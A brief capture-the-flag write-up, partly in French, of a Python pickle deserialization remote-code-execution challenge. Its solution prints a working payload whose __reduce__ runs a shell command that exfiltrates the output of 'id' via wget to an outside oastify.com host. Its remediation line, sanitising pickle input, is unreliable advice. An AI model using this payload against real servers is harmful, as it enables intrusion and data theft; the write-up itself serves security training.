RCE through Deserialization

---

Description

Write Up: Guillaume
Créateur: WOCSA
Difficulté: Inconnu

---

Enoncé

The product deserializes untrusted data without sufficiently verifying that the resulting data will be valid.

---

Solution détaillée

Exploitation

Create a serialized payload that would be execute through pickle, resulting to a RCE on the server

import pickle
import base64

class PickleRCE(object):
    def __reduce__(self):
        import os
        return (os.system,(command,))

command = 'wget http://r804utwnpnt9ltjax7h1zf20frli98xx.oastify.com/?cmd=$(id|base64 -w10000)' 
payload = base64.b64encode(pickle.dumps(PickleRCE()))
print(payload)

POC

![[Pasted image 20240731141048.png]]

Risk

With an RCE, attacker can do anythings on the service and maybe on the machine itself

Remediation

Sanitizing input in pickle function

---